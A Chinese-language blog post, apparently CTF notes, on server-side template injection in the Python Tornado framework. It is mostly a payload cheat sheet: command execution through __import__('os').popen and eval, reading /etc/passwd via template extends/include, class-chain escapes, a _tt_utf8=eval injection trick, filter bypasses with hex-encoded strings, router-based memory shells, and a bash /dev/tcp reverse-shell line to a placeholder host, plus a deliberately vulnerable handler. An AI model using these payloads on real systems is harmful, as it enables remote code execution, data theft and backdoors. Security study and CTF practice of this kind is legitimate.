tornado模板注入

tornado模板注入

https://c1oudfl0w0.github.io/blog/2023/12/06/tornado%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#SSTI%E6%B3%A8%E5%85%A5

也是python的,所以跟jinjia很多一样的地方,这里仅列出一些特别的

入口:

render和render_string

模板语法:

{{}}

{% apply *function* %}...{% end %}(用于执行函数,function 是函数名。apply 到 end 之间的内容是函数的参数)

例:
{% apply import(‘os’).system(‘calc’) %}{% end %}

{% from * import * %}{% import *module* %}:等价于import

{%if%}...{%elif%}...{%else%}...{%end%}:等价于if

loader实例:

对于 Tornado 来说,一旦 self.render 之后,就会实例化一个 tornado.template.Loader,这个时候再去修改文件内容,它也不会再实例化一次。所以这里需要把 tornado.web.RequestHandler._template_loaders 清空。否则在利用的时候,会一直用的第一个传入的 payload。

如:

import tornado.ioloop
import tornado.web
from tornado.template import Template

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        tornado.web.RequestHandler._template_loaders = {}#清空模板引擎

        with open('index.html', 'w') as (f):
            f.write(self.get_argument('name'))

        self.render('index.html')

app = tornado.web.Application(
    [('/', IndexHandler)],
)
app.listen(8888, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()

利用HTTPServerRequest:

绕过字符限制:

  • request.query:包含 get 参数
  • request.query_arguments:解析成字典的 get 参数,可用于传递基础类型的值(字符串、整数等)
  • request.arguments:包含 get、post 参数,返回所有参数组成的字典
  • request.body:包含 post 参数
  • request.body_arguments:解析成字典的 post 参数,可用于传递基础类型的值(字符串、整数等)
  • request.cookies:就是 cookie
  • request.files:上传的文件
  • request.headers:请求头
  • request.full_url:完整的 url
  • request.uri:包含 get 参数的 url。有趣的是,直接 str(requests) 然后切片,也可以获得包含 get 参数的 url。这样的话不需要 . 或者 getattr 之类的函数了。
  • request.host:Host 头
  • request.host_name:Host 头

利用 Application:

  • Application.settings:web 服务的配置,可能会泄露一些敏感的配置
  • Application.add_handlers:新增一个服务处理逻辑,可用于制作内存马,后面会一起说
  • Application.wildcard_router.add_rules:新增一个 url 处理逻辑,可用于制作内存马
  • Application.add_transform:新增一个返回数据的处理逻辑,理论上可以配合响应头来搞个内存马

利用 RequestHandler:

{{handler.get_argument('yu')}}   //比如传入?yu=123则返回值为123
{{handler.cookies}}  //返回cookie值
{{handler.get_cookie("data")}}  //返回cookie中data的值
{{handler.decode_argument('u0066')}}  //返回f,其中u0066为f的unicode编码
{{handler.get_query_argument('yu')}}  //比如传入?yu=123则返回值为123
{{handler.settings}}  //返回传入application.settings中的值,获取的一般就是环境变量

经典参数逃逸:
RequestHandler.request.*
其他和 request 一样的方法:例如 get_argument 等等,就不一一列举了,可以参考官方文档

带出回显:

  • RequestHandler.set_cookie:设置 cookie
  • RequestHandler.set_header:设置一个新的响应头
  • RequestHandler.redirect:重定向,可以通过 location 获取回显
  • RequestHandler.send_error:发送错误码和错误信息
  • RequestHandler.write_error:同上,被 send_error 调用

payload:

tornado中可以直接使用globals()函数,并且可以直接调用一些python的初始方法,比如import、eval、print、hex等

{{__import__("os").popen("calc").read()}}
{{eval('__import__("os").popen("calc").read()')}}
{{globals()['__builtins__']['eval']("__import__('os').popen('calc').read()")}}

无过滤:
1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}

2、 直接使用函数
{{__import__("os").popen("ls").read()}}
{{eval('__import__("os").popen("ls").read()')}}

3、导入库
{% import os %}{{os.popen("ls").read()}}

4、flask中的payload大部分也通用
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

5、利用tornado特有的对象或者方法
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval'("__import__('os').popen('ls').read()")}}

6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}
//在 Tornado 模板引擎中,所有表达式输出前会经过一个名为 _tt_utf8 的函数,用于将值转换为 UTF-8 字符串。默认情况下,_tt_utf8 = str但如果你能在
//模板中重新赋值 _tt_utf8 = eval,那么后续的表达式就会被 eval() 执行,而不是被转为字符串

有过滤:

1.过滤一些关键字如import、os、popen等(过滤引号该方法同样适用)
{{eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理
2.过滤了括号未过滤引号
{% raw "x5fx5fx69x6dx70x6fx72x74x5fx5fx28x27x6fx73x27x29x2ex70x6fx70x65x6ex28x27x6cx73x27x29x2ex72x65x61x64x28x29"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}
3.过滤括号及引号
下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢?
是因为eval不支持多行语句。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&%0a"""
4.其他
通过参考其他师傅的文章学到了下面的方法(两个是一起使用的)
{{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{{handler.application.default_router.named_rules['345'].target('/readflag').read()}}
//构造恶意可调用对象
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇